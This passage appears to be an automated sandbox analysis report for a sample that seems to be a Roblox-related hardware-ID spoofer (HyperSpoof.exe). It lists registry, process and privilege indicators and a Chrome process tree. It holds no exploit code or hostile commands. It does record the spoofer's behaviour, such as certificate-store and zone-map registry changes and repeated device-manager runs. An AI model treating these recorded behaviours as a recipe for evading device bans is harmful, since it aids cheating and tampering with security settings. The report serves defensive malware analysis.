description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe -
Modifies data under HKEY_USERS 50 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133568342559321553" chrome.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe -
Modifies registry class 3 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\Local Settings chrome.exe Key created \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\Local Settings firefox.exe Key created \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\Local Settings .sphyperRuntimedhcpSvc.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3384 chrome.exe 3384 chrome.exe 5016 chrome.exe 5016 chrome.exe 4876 HyperSpoof.exe 4876 HyperSpoof.exe 4876 HyperSpoof.exe 4876 HyperSpoof.exe 4876 HyperSpoof.exe 4876 HyperSpoof.exe 4656 powershell.exe 4656 powershell.exe 2532 DevManView.exe 2532 DevManView.exe 4696 DevManView.exe 4696 DevManView.exe 724 DevManView.exe 724 DevManView.exe 1756 DevManView.exe 1756 DevManView.exe 716 DevManView.exe 716 DevManView.exe 4088 DevManView.exe 4088 DevManView.exe 2812 DevManView.exe 2812 DevManView.exe 3516 DevManView.exe 3516 DevManView.exe 3860 DevManView.exe 3860 DevManView.exe 2260 DevManView.exe 2260 DevManView.exe 3304 DevManView.exe 3304 DevManView.exe 1888 DevManView.exe 1888 DevManView.exe 4604 DevManView.exe 4604 DevManView.exe 4552 DevManView.exe 4552 DevManView.exe 2392 DevManView.exe 2392 DevManView.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe 4628 .sphyperRuntimedhcpSvc.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4500 RuntimeBroker.exe -
Suspicious behavior: LoadsDriver 3 IoCs
pid Process 668 Process not Found 668 Process not Found 668 Process not Found -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 29 IoCs
pid Process 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 2976 chrome.exe 2976 chrome.exe 2976 chrome.exe 2976 chrome.exe 2976 chrome.exe 2976 chrome.exe 2976 chrome.exe 2976 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe Token: SeShutdownPrivilege 3384 chrome.exe Token: SeCreatePagefilePrivilege 3384 chrome.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 2028 7zG.exe 4388 Volumeid64.exe 100 firefox.exe 100 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 3384 chrome.exe 100 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4268 firefox.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 4296 chrome.exe 2976 chrome.exe 2976 chrome.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 100 firefox.exe 4268 firefox.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3384 wrote to memory of 4764 3384 chrome.exe 85 PID 3384 wrote to memory of 4764 3384 chrome.exe 85 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 4700 3384 chrome.exe 89 PID 3384 wrote to memory of 1988 3384 chrome.exe 90 PID 3384 wrote to memory of 1988 3384 chrome.exe 90 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 PID 3384 wrote to memory of 5092 3384 chrome.exe 91 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://roblox.com1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3384 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa13d89758,0x7ffa13d89768,0x7ffa13d897782⤵PID:4764
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1760 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:22⤵PID:4700
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:82⤵PID:1988
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2204 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:82⤵PID:5092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2760 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:3184
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2768 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:4728
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4592 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:4316
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5316 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:82⤵PID:4744
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3404 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:82⤵PID:448
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3888 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:22⤵
- Suspicious behavior: EnumeratesProcesses
PID:5016
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=832 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:1432
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=5368 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:4488
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3352 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:82⤵PID:4076
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5192 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:82⤵PID:216
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=5472 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:2260
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=1704 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:3828
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=5076 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:2836
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --mojo-platform-channel-handle=5992 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:2604
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --mojo-platform-channel-handle=5976 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:4860
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=5476 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:1524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=5700 --field-trial-handle=1832,i,9780558318145629488,3549725187962343967,131072 /prefetch:12⤵PID:1396
-
-
